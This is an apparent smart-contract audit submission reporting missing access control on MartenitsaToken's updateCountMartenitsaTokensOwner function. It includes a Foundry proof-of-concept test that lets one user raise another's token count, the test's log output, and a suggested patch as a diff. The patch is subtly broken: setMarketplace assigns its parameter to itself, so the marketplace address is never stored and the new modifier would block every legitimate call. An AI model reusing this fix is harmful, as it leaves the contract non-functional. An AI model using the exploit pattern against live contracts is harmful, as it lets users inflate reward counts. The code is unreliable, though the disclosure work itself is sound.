Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of access control for MartenitsaToken::updateCountMartenitsaTokensOwner

Summary

Lack of access control for updateCountMartenitsaTokensOwner()

Vulnerability Details

In MartenitsaToken, function updateCountMartenitsaTokensOwner() aims to record every address's martenitsa tokens' amount. However, everyone can call this function to update any specific address's amount.

PoC

function testUpdateAccountAccessControl() public {
address alice = makeAddr("Alice");
address cathy = makeAddr("Cathy");
console.log("Alice Token Amount: ", martenitsaToken.getCountMartenitsaTokensOwner(alice));
console.log("Cathy Token Amount: ", martenitsaToken.getCountMartenitsaTokensOwner(cathy));
vm.startPrank(alice);
martenitsaToken.updateCountMartenitsaTokensOwner(cathy, "add");
console.log("Cathy Token Amount after Alice update: ", martenitsaToken.getCountMartenitsaTokensOwner(cathy));
}

And the test result is as below:

Logs:
Alice Token Amount: 0
Cathy Token Amount: 0
Cathy Token Amount after Alice update: 1
From the result, we can see that Alice can change another user Cahty's account easily.

Impact

Accounting for Martenitsa token's amount become a mess. Users can change the count to collect more rewards.

Tools Used

Manual

Recommendations

Suggest to add one modifier in updateCountMartenitsaTokensOwner. Only marketplace is allowed to call this function.

diff --git a/src/MartenitsaToken.sol b/src/MartenitsaToken.sol
index 040ce8a..e2c9930 100644
--- a/src/MartenitsaToken.sol
+++ b/src/MartenitsaToken.sol
@@ -7,6 +7,7 @@ import "@openzeppelin/contracts/access/Ownable.sol";
contract MartenitsaToken is ERC721, Ownable {
uint256 private _nextTokenId;
+ address public marketplace;
address[] public producers;
mapping(address => uint256) public countMartenitsaTokensOwner;
@@ -17,6 +18,14 @@ contract MartenitsaToken is ERC721, Ownable {
constructor() ERC721("MartenitsaToken", "MT") Ownable(msg.sender) {}
+ modifier onlyMarketplace {
+ require(msg.sender == marketplace);
+ _;
+ }
+
+ function setMarketplace(address marketplace) public onlyOwner {
+ marketplace = marketplace;
+ }
/**
* @notice Function to set producers.
* @param _producersList The addresses of the producers.
@@ -59,7 +68,9 @@ contract MartenitsaToken is ERC721, Ownable {
* @param owner The address of the owner.
* @param operation Operation for update: "add" for +1 and "sub" for -1.
*/
- function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ function updateCountMartenitsaTokensOwner(address owner, string memory operation) external onlyMarketplace{
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.